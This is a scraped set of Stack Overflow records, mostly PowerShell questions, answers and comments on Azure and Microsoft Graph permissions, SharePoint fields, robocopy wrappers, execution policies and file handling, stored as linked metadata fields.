type: AcceptedAnswer
score: 2
downvote count: 0
type: Answer
upvote count: 2
has body: Note that, you need to pass Object ID of Microsoft Graph Enterprise Application for resourceID parameter. In my case, I ran below API call to get the object ID of Microsoft Graph service principal: GET https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId eq '00000003-0000-0000-c000-000000000000' Now I ran below PowerShell script to generate token and call API to add User.Read.All permission of Application type to managed identity: $AppId = "appID" $ClientSecret = "secret" $TenantId = "tenantID" $TokenEndpoint = "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" $Body = @{ client_id = $AppId scope = "https://graph.microsoft.com/.default" client_secret = $ClientSecret grant_type = "client_credentials" } $TokenResponse = Invoke-RestMethod -Uri $TokenEndpoint -Method Post -Body $Body -ContentType "application/x-www-form-urlencoded" $AccessToken = $TokenResponse.access_token $PrincipalId = "fd0e0b8b-53f6-4bcd-a723-xxxxx" # Managed identity Object ID $ResourceId = "c68a82f4-ecea-4f65-8047-xxxxx" # Microsoft Graph Enterprise App Object ID $AppRoleId = "df021288-bdef-4463-88db-98f22de89214" # User.Read.All permission App Role ID $POSTBody = @{ principalId = $PrincipalId resourceId = $ResourceId appRoleId = $AppRoleId } $POSTBodyJSON = $POSTBody | ConvertTo-Json $AppRoleAssignment = "https://graph.microsoft.com/beta/servicePrincipals/$ResourceId/appRoleAssignedTo" try { $Response = Invoke-RestMethod -Uri $AppRoleAssignment ` -Headers @{Authorization = "Bearer $AccessToken"} ` -Method POST ` -Body $POSTBodyJSON ` -ContentType "application/json" Write-Host "App Role Assignment Successful:" Write-Host ($Response | ConvertTo-Json -Depth 10 -Compress) } catch { Write-Error "Error assigning App Role: $($_.Exception.Message)" } Response: To confirm that, I checked the same in Azure Portal where User.Read.All permission of Application type added successfully to managed identity like this: Reference: Grant an appRoleAssignment for a service principal - Micros…
has comment: http://stackoverflow.com/comment/139932584
answers question: http://stackoverflow.com/q/79349700

http://stackoverflow.com/comment/139794493
type: Comment
score: 1
has text: I took this and implemented @mklement0's points, along with a couple tweaks to forge a working solution. Thank you both for your help! The key thing I needed to build off of what you'd written here was prepending `$env:` to the variable passed through everywhere: (1) where I originally defined it in `Script1.ps1`, (2) when I passed it through to `-ArgumentList`, (3) when I referenced it in `param()` in `Script2.ps1`, and (4) when I actually used it in `Script2.ps1`. Making a quick edit to make your answer complete.
comment on: http://stackoverflow.com/a/79273719
type: AnswerComment

http://stackoverflow.com/comment/139912006
score: 0
has text: @CFou, I've posted [this answer](https://stackoverflow.com/a/79340733/45375) to the linked question. See if it helps; if so, we can close your question as a duplicate.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79335322

deprecated
tags question: http://stackoverflow.com/q/79419763
type: Tag
tag name: deprecated

http://stackoverflow.com/tag/html
tag name: html
tags question: http://stackoverflow.com/q/79277794
type: Tag
tags question: http://stackoverflow.com/q/79480671

http://stackoverflow.com/comment/140056811
has text: Thanks for this tip! I wasn't aware of the existence of this module, but I installed it and it works great. Much appreciated!
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79415504
type: Comment

http://stackoverflow.com/comment/139822179
score: 1
has text: I guess you have multiple sqlpackage versions installed in different paths. Try executing sqlpackage.exe with full path, not just exe name. ScriptDom.dll actual version is 16, not 12. Most recent sqlpackage release is 162.5. You can check which version is called by `sqlpackage.exe /version`
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79276630

http://stackoverflow.com/comment/140049522
has text: Well you don't have to, you just have to type `*` :)
type: QuestionComment
comment on: http://stackoverflow.com/q/79407490
type: Comment
score: 3

http://stackoverflow.com/comment/139762665
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79257887
type: AnswerComment
has text: @Vincent Sorry, that last one should be `$printerForm`, not `$$printerForm`

http://stackoverflow.com/comment/139755342
score: 0
has text: Hi, could you share the Rundeck job definition to take a look? also, can you double-check that you have that module installed following this? https://www.sharepointdiary.com/2016/11/import-module-specified-module-microsoft-online-sharepoint-powershell-was-not-loaded.html
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79254020

http://stackoverflow.com/comment/139829505
comment on: http://stackoverflow.com/a/79295367
has text: `-Include` supports an array of filters: `-Include *.mkv, *.mp4`
type: AnswerComment
score: 5
type: Comment

dockerfile
tags question: http://stackoverflow.com/q/79364993
tag name: dockerfile
type: Tag
tags question: http://stackoverflow.com/q/79469584

http://stackoverflow.com/comment/139795182
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79275748
has text: Interesting. I see only scarce few mentions of `.SessionState` in [CompiledScriptBlock.cs](https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs). I wonder if that's an indication that the scriptblock is never bound to any `SessionState`.
type: QuestionComment

http://stackoverflow.com/comment/140030260
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79401312
has text: [This answer](https://stackoverflow.com/a/49387055/45375) shows how to use `Select-Xml` with namespaces.

http://stackoverflow.com/comment/140012496
has text: Do you have an example of a base attribute schema that it _doesn't_ output? The attributes in question might be associated with an auxiliary class which is in turn associated with the target object class - in which case you won't be surfacing it
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79393539

http://stackoverflow.com/a/79283419
answers question: http://stackoverflow.com/q/79283348
type: Answer
score: 0
has body: I've sketched out a solution for you. The code outputs: PROJECT NUMBER EntryDate Hours -------------- --------- ----- xx1 4 2 xx1 7 1 The code just walks through the properties of the input object and selects the properties with names that are numeric (e.g. "4"), and then it uses that name to look up the hours value in the input object. $inputObj = [pscustomobject]@{ "PROJECT NUMBER"="xx1" "1"=$null "4"="2" "7"="1" } $inputObj.PSobject.Properties | Where-Object Name -match "^\d+$" | # Keep only properties with numeric Names, e.g "4". Select-Object -ExpandProperty Name | # Put the Name string (e.g. "4") into the pipeline. Select-Object -PipelineVariable name | # Put that Name string (e.g. "4") in the variable $name. ForEach-Object { # Make our output object. [pscustomobject]@{ "PROJECT NUMBER"=$inputObj."PROJECT NUMBER" EntryDate=$name # Put e.g. "4" in the EntryDate property. Hours=$inputObj.$name # We are doing e.g. $inputObject."4" here. } } | Where-Object Hours -ne $null # Filter out the entries with no Hours

http://stackoverflow.com/comment/140021828
type: QuestionComment
type: Comment
has text: Probably the output from pg_restore.exe is not on coming on the success stream (maybe errors). Have a look at this post https://stackoverflow.com/a/35980675/11954025 about halfway down it talks about redirecting error stream to success stream using `2>&1` and other methods
comment on: http://stackoverflow.com/q/79398085
score: 1

http://stackoverflow.com/comment/140025156
type: AnswerComment
comment on: http://stackoverflow.com/a/79392267
has text: The problem with this is `Ctrl + C` was not what is at question here. X'ng the window out is. And just like lots of Windows programs, when you close a popup asking something, it returns to the running program, not quits it.
type: Comment
score: 0

http://stackoverflow.com/comment/139800039
type: QuestionComment
type: Comment
score: 0
has text: You probably want to have a look at [Move-PnPFile](https://pnp.github.io/powershell/cmdlets/Move-PnPFile.html)
comment on: http://stackoverflow.com/q/79275914

http://stackoverflow.com/q/79331379
has answer: http://stackoverflow.com/a/79332051
type: Question
has comment: http://stackoverflow.com/comment/139958543
tagged with: automation
has body: I am trying to retrieve the latest Microsoft Azure IP ranges from the official page:https://www.microsoft.com/en-us/download/details.aspx?id=56519 using Power. My goal is to create a new JSON file containing a selected list of IP ranges for specific services. I attempted the following PowerShell script to fetch the JSON, but it is not working as expected: 'https://www.microsoft.com/en-us/download/confirmation.aspx?id=56519' $pageContent = Invoke-WebRequest -Uri $url if ($pageContent.Content -match 'data-bi-id="downloadretry" href="(?<url>.*?\.json)"') { $jsonUrl = $matches['url'] # Prepend domain if URL is relative if ($jsonUrl -notmatch '^https?://') { $jsonUrl = "https://www.microsoft.com$jsonUrl" } Write-Output "Resolved JSON URL: $jsonUrl" # Fetch JSON content $jsonContent = Invoke-RestMethod -Uri $jsonUrl Write-Output $jsonContent } else { Write-Output "No JSON URL found in the page content." } I would greatly appreciate it if someone share a working script or could guide me on how to fetch the JSON correctly and filter it to extract the IP ranges for specific services. Any suggestions or corrections to my script are welcome Thanks in advance for your help
tagged with: powershell
answer count: 1
tagged with: azure
score: 0
has title: Retrieving the azure latest IP ranges using PowerShell Script
type: UnansweredQuestion
tagged with: azure-powershell

http://stackoverflow.com/q/79289751
has title: Autorest (swagger) question, how to transform/use directive to get rid of duplicate names
downvote count: 0
tagged with: transform
tagged with: powershell
type: UnansweredQuestion
tagged with: duplicates
tagged with: directive
score: 1
upvote count: 1
favorite count: 0
has body: I’m looking into autorest but encounter an issue with duplicate names, one of the parts in the yaml file that I try to transform into a powershell module is as follows: parameters: - description: token in: path name: token required: true schema: type: string - description: Generate your application key in: query name: key required: true schema: type: string - description: Getting a token from a user in: query name: token required: true schema: type: string As you can see, there’s a path with the name ‘token’ and a query (string) with the name ‘token’, both would be needed for the API. The generating of the code goes well, but at building the module, is gives the error: error CS0100: The parameter name 'token' is a duplicate. Which is logical, as in the public async function it shows these variables (string token, string token, string key). I’m assuming I need to do some kind of transformation while using autorest with the inputfle, but online in the documentation I can’t seem to find many examples on how to do that.
type: Question
answer count: 0
tagged with: autorest

http://stackoverflow.com/a/79391642
answers question: http://stackoverflow.com/q/79391387
downvote count: 0
type: Answer
score: 2
upvote count: 2
has body: # Set up Outlook object for entering local mailbox $outlook = New-Object -comobject Outlook.application $namespace = $outlook.getnamespace("MAPI") # Set up folder objects $targetfoldername = "<your target folder>" $inbox = $namespace.GetDefaultFolder([microsoft.office.interop.outlook.oldefaultfolders]::olFolderInbox) $toplevelfolders = $namespace.Folders # Get the folder and grab all items $content= $toplevelfolders[1].Folders | ? {$_.fullfolderpath -like "*<name of folder>*"} $emails = $content.items Here's a snippet that might get you on path to your solution. I had a backlog of old PS script logs that had sent SMTP alerts, and I wanted to export the details for Log Analytics. This MAPI namespace was super helpful for me to fetch outlook items and bring them into the PowerShell pipeline. Note: You will need to make some small adjustments to fit your needs, but I hope this helps!

http://stackoverflow.com/comment/139955670
comment on: http://stackoverflow.com/q/79363438
score: 1
type: QuestionComment
has text: Have you looked at veraPDF or Apache PDFBox Preflight?
type: Comment

http://stackoverflow.com/comment/139752507
has text: I tested this technique with jobs and `pwsh` with a variety of arguments. It seems to be reliable. I haven't yet achieved a working solution from Windows PowerShell because of [this issue](https://stackoverflow.com/q/79252830/1404637).
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79249620

http://stackoverflow.com/a/79393790
type: Answer
has comment: http://stackoverflow.com/comment/140012852
accepted answer of: http://stackoverflow.com/q/79393374
score: 1
upvote count: 1
has body: This should solve your issues The most important changes in the end are the (automatic) add of the Delete directory to the excluded directories and using Invoke-Expression instead of Invoke-Command # let's start with a Approved Verb function Invoke-Robocopy { # parametrising all params will make things easier to check and expand. param ( # Let's make sure the source directory exists [ValidateScript({ Test-Path $_ })][Parameter(Mandatory)][string]$Source, # Destination directory will be created so no need to check. [Parameter(Mandatory)][string]$Destination, # every other parameter is optional. # Use SWITCH, not BOOL unless you specifically need a true\false value. # Not this case. [Parameter()][Switch]$Recursive, [Parameter()][Switch]$Move, [Parameter()][int]$MinAge, [Parameter()][string[]]$ExcludeDirectories, [Parameter()][switch]$NoProgress, [parameter()][string]$LogFilePath, [Parameter()][switch]$Silent ) # Resolve the paths for maximum security. $SourceParam = '"{0}"' -f (Resolve-Path $Source) # using the parameter -Force if the destination directory doesn't exists, it gets created. # otherwise it just get references. $DestinationParam = '"{0}"' -f (New-Item -ItemType Directory $Destination -Force ) # .IsPresent is a parameter automatically added to Parameters. # It checks $true if the parameter has been called with the command. $recursiveParam = if ($Recursive.IsPresent) { '/E' } $MoveParam = if ($Move.IsPresent) { '/MOVE' } $MinAgeParam = if ($MinAge.IsPresent) { "/MINAGE:$MinAge" } # Generally speaking, you always want to exclude the destination directory # from the recursing. # IDEALLY it should be done at the time of the parameter compilation, but # let's dynamically add it here to the directory to exclude for good # measure. # it's not going to hurt even if the destination isn't actually in the # recurse path. $ExcludedDirResolved = foreach ($Directory in $ExcludeDirectories + $Destination) { if ($ResolvedDirectory = Resolve-Path $Directory -ErrorAction Si…
has comment: http://stackoverflow.com/comment/140012647
has comment: http://stackoverflow.com/comment/140023392
has comment: http://stackoverflow.com/comment/140012922
answers question: http://stackoverflow.com/q/79393374
downvote count: 0
has comment: http://stackoverflow.com/comment/140013106
type: AcceptedAnswer

http://stackoverflow.com/comment/139930249
type: QuestionComment
type: Comment
has text: @SantiagoSquarzon I think you meant like this, right? `# Payload in Hashtable $POSTBody = @{ principalID = "$ObjectID" resourceID = "$($MIDData.appId)" appRoleId = "$($TEMProle.id)" } $AppRoleAssignment = "https://graph.microsoft.com/beta/servicePrincipals/$ObjectID/appRoleAssignments" Invoke-RestMethod -Uri $AppRoleAssignment -Headers @{Authorization = "Bearer $($TokenAccess)" } -Method POST -Body $($POSTBody | convertto-json) -ContentType "application/json"` If so, that doesn't work either. Exactly the same error message. Apologies for the formatting.
score: 0
comment on: http://stackoverflow.com/q/79349700

http://stackoverflow.com/a/79340490
score: 1
has comment: http://stackoverflow.com/comment/139924432
has body: when running it directly in PowerShell 7.5.0-rc.1: So it worked in PowerShell (Core) 7, but what you're calling from Deno is the CLI of Windows PowerShell, powershell.exe. These two editions by default have separate script-execution policies, and it is Windows PowerShell's effective execution policy that prevents loading of the module in your case. Thus, in order to use PowerShell 7's CLI, you must target pwsh.exe instead. That said, for predictable runtime behavior you should specify an execution policy ad hoc (only for the process being created), using the -ExecutionPolicy CLI parameter, which works with both powershell.exe and pwsh.exe: Applied to your case, using pwsh.exe (which is assumed to be discoverable via $env:PATH; use a full path, if needed): new Deno.Command("pwsh.exe", { args: ["-NoProfile", "-ExecutionPolicy", "RemoteSigned", "-Command", "Expand-Archive -path ./test.zip -DestinationPath ."], }).spawn(); -NoProfile suppresses profile loading. Setting an an execution policy of RemoteSigned permits execution of unsigned scripts locally, but requires scripts downloaded from the web to be signed. Bypass would allow unconditional script execution. -Command (-c), while optional with powershell.exe is required with pwsh.exe, as the latter now defaults to the -File CLI parameter. Caveat: If, on a given machine, the execution policy is controlled via GPOs (Group Policy Objects), they unconditionally determine the effective policy - a CLI override is not honored in this case. See this answer for a comprehensive overview of PowerShell's execution policies.
has comment: http://stackoverflow.com/comment/139923264
answers question: http://stackoverflow.com/q/79340443
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79340443
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/139924440
has comment: http://stackoverflow.com/comment/139919961
downvote count: 0
has comment: http://stackoverflow.com/comment/139921631

http://stackoverflow.com/comment/139942619
has text: Please [format your post properly](https://stackoverflow.com/help/formatting).
comment on: http://stackoverflow.com/q/79355961
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139855401
score: 1
has text: It's unclear what `./parser` is an does, but note that there's a downloadable [`strings.exe` SysInternals utility](https://learn.microsoft.com/en-us/sysinternals/downloads/strings), which seem to support the option you're looking for.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79309989

http://stackoverflow.com/comment/139814078
type: QuestionComment
type: Comment
score: 0
has text: i have around 500 clients where i need to check that log file every day. i know there are other possibilitys but i thought this should work because he is doing the invoke command directly on the system. i checked the network traffic and this is around 50 kb when i start the invoke command ... if i do a get-content with the network drive it's going up to 10 mb ... so this is a little bit wired
comment on: http://stackoverflow.com/q/79286119

http://stackoverflow.com/comment/140017993
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79393526
score: 0
has text: `RequiredAssemblies` isn't a command. It is a key in the module's manifest (.psd1) file. See https://learn.microsoft.com/en-us/powershell/scripting/developer/module/how-to-write-a-powershell-module-manifest?view=powershell-7.4

http://stackoverflow.com/comment/140009121
type: AnswerComment
comment on: http://stackoverflow.com/a/79391773
has text: wow! @david Beowne Thank you so much!
type: Comment
score: 0

http://stackoverflow.com/comment/140012253
type: QuestionComment
comment on: http://stackoverflow.com/q/79393374
type: Comment
score: 0
has text: I have honestly never heard of Crescendo, and what is inproper about the syntax?

airplane-mode
tags question: http://stackoverflow.com/q/79277736
type: Tag
tag name: airplane-mode

http://stackoverflow.com/a/79379137
answers question: http://stackoverflow.com/q/79378997
type: Answer
score: 0
has body: Here is the exact syntax I used. Import-Module Activedirectory $Attribcsv=Import-csv "C:\Temp\ADUsers_BulkEdit.csv" ForEach ($User in $Attribcsv) { Get-ADUser -Identity $User.samAccountName | set-ADUser -replace @{costCenter=$($User.costCenter)} }

http://stackoverflow.com/q/79361998
type: Question
has comment: http://stackoverflow.com/comment/139958602
has comment: http://stackoverflow.com/comment/139956446
answer count: 0
tagged with: sharepoint
has title: SharePoint Online PnP Powershell field Read-only not working
tagged with: powershell
has body: When setting a SharePoint Online Field in a list to ReadOnly, I cannot edit the field in the grid view only. However, the field is still editable in the EditForm. Connect-PnPOnline -Url "<Site>" -UseWebLogin Set-PnPField -List "<ListId>" -Identity "<FieldName>" -Values @{ ReadOnlyField = $true; } Get-PnPField -List "<ListId>" -Identity "<FieldName>" | Select-Object Title, InternalName, ReadOnlyField, Required, DefaultValue Actually, the field should no longer be editable or write-protected in the grid view and in the EditForm. Grid View in SharePoint List: EditForm in SharePoint List (same listItem): Does anyone have any ideas or customizations I can use to fix the problem?
tagged with: sharepoint-online
score: 0
has comment: http://stackoverflow.com/comment/139952832
type: UnansweredQuestion

http://stackoverflow.com/comment/139876451
type: QuestionComment
type: Comment
has text: You can try to use the MSGraph api for this. Basically, app regs aren't created in Azure but in Entra. Although MS added support for appregs in the AZ commands and in Bicep you might still encounter problems like these (where it's extremely hard to do some basic things).
comment on: http://stackoverflow.com/q/79320969
score: 0

access-control
tag name: access-control
type: Tag
tags question: http://stackoverflow.com/q/79325773

http://stackoverflow.com/comment/140024788
comment on: http://stackoverflow.com/q/79398108
score: 0
has text: This `$null = $Object = $Cell` looks weird.. Should either not be there at all or reversed like `$Cell = $null`. Why you would want to set the current iterating variable $Object to $null, I really have no idea..
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139939140
score: 0
has text: Are you doing anything multi threatening?
comment on: http://stackoverflow.com/q/79351371
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79336107
answers question: http://stackoverflow.com/q/79336099
has body: First, make sure to remove ls from Get-ChildItem -Recurse ls -file - ls is an alias for Get-ChildItem, and since you've already specified the cmdlet name PowerShell will attempt to locate a folder named ls and start the search from there. Second, instead of passing $_ to Rename-Item (alias ren) as a positional argument, pipe it: Get-ChildItem -Recurse -File | ? {$_.extension -eq ''} | Rename-Item -NewName { $_.Name + '.jpeg' } Piping the whole file info object to Rename-Item allows PowerShell to bind the correct absolute path to the file system object, and it'll thus start working for files in nested folders.
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79336099
upvote count: 2
has comment: http://stackoverflow.com/comment/139904430
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/a/79395054
type: Answer
answers question: http://stackoverflow.com/q/79394893
has comment: http://stackoverflow.com/comment/140021245
score: 0
has body: I'm assuming that Toad is a GUI application (because if it were a console application, scrolling would happen automatically). As such, you don't need Start-Process to launch it asynchronously; even directly invoked GUI applications launch asynchronously by default. The keystrokes must be sent from the caller, not from the child process that launches Toad. Aside from that, your approach fundamentally cannot work: you're telling Start-Process to launch Toad, which precludes passing additional commands as part of the call. To make Start-Process launch multiple commands, it must launch a shell executable to which a command line comprising multiple commands can be passed. To pass a PowerShell command line (as you've attempted), you must target the PowerShell CLI (powershell.exe for Windows PowerShell, pwsh for PowerShell (Core) 7) Sending keystrokes to application is inherently brittle, and should only be used as a last resort. In the case at hand, there is no easy way to determine when the query has completed executing; the best you can do is sleep (wait) a bit, in the hopes that the application is in the desired state when the keystrokes are sent. A robust solution would require a more elaborate approach based on the Win32 UI Automation APIs. A managed (.NET) API wrapping the Win32 API exists, but is seemingly limited to v2 of the latter. Third-party .NET libraries, such as FlaUI, provide access to v3 too; see this answer for an example. Therefore, if you want to stick with sending keystrokes, something like the following may work: # Asynchronously launch Toad (which is assumed to be a GUI app). Toad -min -c admin/xxxx@yyyyy -f C:\Users\Documents\test.sql /EXEC # Sleep a little to give the application time to launch # and execute the query. # NOTE: Tweak this as needed. Start-Sleep -Seconds 3 # Send the scrolling key chord to the newly launched Toad window. (New-Object -ComObject WScript.Shell).SendKeys('+{END}')
has comment: http://stackoverflow.com/comment/140019471

http://stackoverflow.com/comment/140003295
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79386074
type: Comment
has text: Now that I think about it, maybe I'll stick with the dictionary without converting it to an object . Thanks

http://stackoverflow.com/comment/139997092
type: QuestionComment
comment on: http://stackoverflow.com/q/79385377
type: Comment
score: 0
has text: "Parsed into my intended regex"? Yeah, probably could get rid of the ending .*, but with and without doesn't make a difference, in any place the regex works/doesn't.

http://stackoverflow.com/q/79386797
has title: Invoke-RestMethod : The remote server returned an error: (403) Forbidden. enable Audit for disabled mailbox from exchange online - powershell
has answer: http://stackoverflow.com/a/79388746
answer count: 1
has comment: http://stackoverflow.com/comment/140000735
tagged with: exchange-online
tagged with: powershell
has comment: http://stackoverflow.com/comment/140006477
tagged with: azure-active-directory
type: UnansweredQuestion
tagged with: azure-powershell
score: 0
has body: I need to check for disabled audit mailbox in exchange online and enable it. I have registered app in azure with all the required permissions granted. I need to use powershell to perform this. This is what I'm using but I'm getting error 403 forbidden: # API endpoint to fetch mailboxes $mailboxes = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users" -Headers @{Authorization = "Bearer $AccessToken"} -Method Get # Filter mailboxes with auditing disabled foreach ($mailbox in $mailboxes.value) { # Check if auditing is disabled $auditStatus = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users/$($mailbox.id)/mailboxSettings" -Headers @{Authorization = "Bearer $AccessToken"} -Method Get } if ($auditStatus.AuditEnabled -eq $true) { # Enable auditing Write-Host "every mailbox is enabled" #Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users/$($mailbox.id)/mailboxSettings" -Headers @{Authorization = "Bearer $AccessToken"} -Method Patch -Body (@{AuditEnabled = $true} | ConvertTo-Json -Depth 10) # Log the action #"$($mailbox.mail),$false,Enabled Auditing" | Out-File -FilePath $logFilePath -Append } } API endpoint to fetch mailboxes is giving me the result but I'm getting this error in foreach loop: Invoke-RestMethod : The remote server returned an error: (403) Forbidden. At line:1 char:16 + ... ditStatus = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/ ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-RestMethod], WebException + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeRestMethodCommand
type: Question

http://stackoverflow.com/a/79253916
type: AcceptedAnswer
score: 2
has comment: http://stackoverflow.com/comment/139754488
downvote count: 0
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/79253851
accepted answer of: http://stackoverflow.com/q/79253851
has body: The cmdlet Invoke-GraphRequest has parameter OutputType. If you set OutputType to HttpResponseMessage, you should be able to access request headers, including Authorization header. $mgRequest = Invoke-GraphRequest -Method Get -Uri /v1.0/me -OutputType HttpResponseMessage $mgRequest.RequestMessage.Headers.Authorization.Parameter If you also need to access data: $responseBody = $mgRequest.Content.ReadAsStringAsync().Result $responseBody

http://stackoverflow.com/comment/140021067
type: Comment
has text: @sirtao, [see also](https://stackoverflow.com/a/60302715/45375).
comment on: http://stackoverflow.com/a/79396362
score: 1
type: AnswerComment

http://stackoverflow.com/a/79318926
score: 1
has body: The root cause is that your lines $a and $b generate uncaptured output in the top-level script context and so result in an implicit call to Out-Default to display the output on the console. This is then passing the whole output from both lines into a single call to Format-Table which has a quirk that it waits for 300ms for more data to arrive before it decides which columns to display. It looks like in that 300ms only the data from $a is received, so it's locking the columns down to Name and Group. When the output from $b is received it doesn't automatically add the GroupMembership column. @Santiago Squarzon's answer works around this by aligning the property names in $a and $b so the columns determined by Format-Table are consistent across all of the output. Another option is to explicitly pipe the individual variables into Format-Table like this: $a | format-table ... $b | format-table which will render two separate tables with their own columns calculated based on input to each separate call to format-table, and will result in this on the console: Name Group ---- ----- D2\\FRED@D2.com {ADMINS, WebService} D2\\WILMA@D2.com WebService D2\\BARNEY@D2.com WebService D2\\BETTY@D2.com ADMINS D2\\PEBBLES@D2.com WebService Name GroupMembership ---- --------------- D2\\FRED@D2.com {ADMINS, WebService} D2\\WILMA@D2.com WebService D2\\BARNEY@D2.com WebService D2\\PEBBLES@D2.com WebService See these links for more gory technical details: https://stackoverflow.com/a/76657349 https://stackoverflow.com/a/34858911
upvote count: 1
answers question: http://stackoverflow.com/q/79317839
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139984557
score: 0
has text: Why would you expect this to work? There are no physical monitors attached to the VMs. The error is pretty clear, Not Supported. It is interesting to note, Hyper-V VMs do appear to support it.
type: QuestionComment
comment on: http://stackoverflow.com/q/79377043
type: Comment

http://stackoverflow.com/comment/139743150
has text: You need to add code that we can reproduce because as of now your question isn't clear
score: 0
comment on: http://stackoverflow.com/q/79247480
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140005279
has text: Hey @jeb,the kafka-storage.bat file is from the kafka’s codebase. The batch file will be too long to post here. I have a link to it on GitHub if that’s fine?, I was thinking the problem is with power shell command I was running.
comment on: http://stackoverflow.com/q/79389610
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/140099102
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79419763
has text: Use [JScript](https://en.wikipedia.org/wiki/JScript) instead of VBScript. Problem solved.

http://stackoverflow.com/comment/139903465
score: 0
comment on: http://stackoverflow.com/a/79322834
type: AnswerComment
type: Comment
has text: My problem in simple one line: Powershell command New-AzPolicyDefinition is not working to create a custom azure policy. If this resolved I do the rest like adding logical statement.

http://stackoverflow.com/comment/140056808
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79415054
type: Comment
has text: This is a great answer! It works really well. However: it only returns the first two sections of the version number. Eg. I used it to check the version of the "Zoom Workplace" app, which has version 6.3.56144, and it only returned "6.3". I'm sure this would be easy to fix though.

http://stackoverflow.com/comment/139788301
score: 0
comment on: http://stackoverflow.com/q/79272775
has text: Please [format your post properly](https://stackoverflow.com/help/formatting).
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79401658
score: 0
has body: I have a requirement to list out all of the objects that have been deleted from a folder in VSTS using the TFS version control system (ie: not Git). I can use PowerShell to run the CLI command tf dir $/path/to/folder /deleted | Out-File -FilePath /path/to/output.txt However, this includes undeleted files in addition to deleted files. Is there any way to list only files that were deleted from version control, and not undeleted files currently in version control?
tagged with: tfs
type: Question
answer count: 1
tagged with: azure-devops
tagged with: powershell
has title: Is it possible to list only files deleted from TFS using tf dir?
has answer: http://stackoverflow.com/a/79402311
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79402311

http://stackoverflow.com/a/79259992
upvote count: 2
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/79259964
has comment: http://stackoverflow.com/comment/139766093
has comment: http://stackoverflow.com/comment/139765994
has body: I think you're pretty close on the -spit approach, you just need to have an additional null variable at the beginning to avoid the empty string being assigned to $s1 $null,$s1,$s2 = $string -split &quot;(\D{4}\d{2})&quot;

http://stackoverflow.com/comment/140008332
score: 1
comment on: http://stackoverflow.com/q/79391481
type: QuestionComment
type: Comment
has text: Different code (i.e. logic) or different parameters depending on the environment?

powershell-jobs
type: Tag
tags question: http://stackoverflow.com/q/79246029
tag name: powershell-jobs

http://stackoverflow.com/comment/139793158
type: Comment
has text: Nope, I was wrong. But now it's a mystery to me to which SessionState the scripblock from `ScriptBlock.Create()` gets bound.
comment on: http://stackoverflow.com/a/79262856
score: 0
type: AnswerComment

http://stackoverflow.com/comment/140031642
type: Comment
comment on: http://stackoverflow.com/a/79403390
score: 0
type: AnswerComment
has text: `AddScript` and `AddCommand` both allow direct invocation of ps1 script and both will allow retrieval thru `.SessionStateProxy.GetVariable(..)`.

http://stackoverflow.com/comment/140012169
has text: How about using [Crescendo](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.crescendo/?view=ps-modules) to create a wrapper for robocopy ( [AdminToolbox.FileManagement](https://www.powershellgallery.com/packages/AdminToolbox.FileManagement/1.15.7/Content/build%5Crobocopy.crescendo.json)) and use proper PowerShell syntax then?
comment on: http://stackoverflow.com/q/79393374
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139886227
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79326188
has text: To connect to powershell use `Connect-MgGraph -Scopes "Application.ReadWrite.All"` don't miss scope parameter
type: Comment

http://stackoverflow.com/a/79406026
answers question: http://stackoverflow.com/q/79388784
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/140157132
accepted answer of: http://stackoverflow.com/q/79388784
has comment: http://stackoverflow.com/comment/140102566
type: Answer
upvote count: 22
downvote count: 1
score: 21
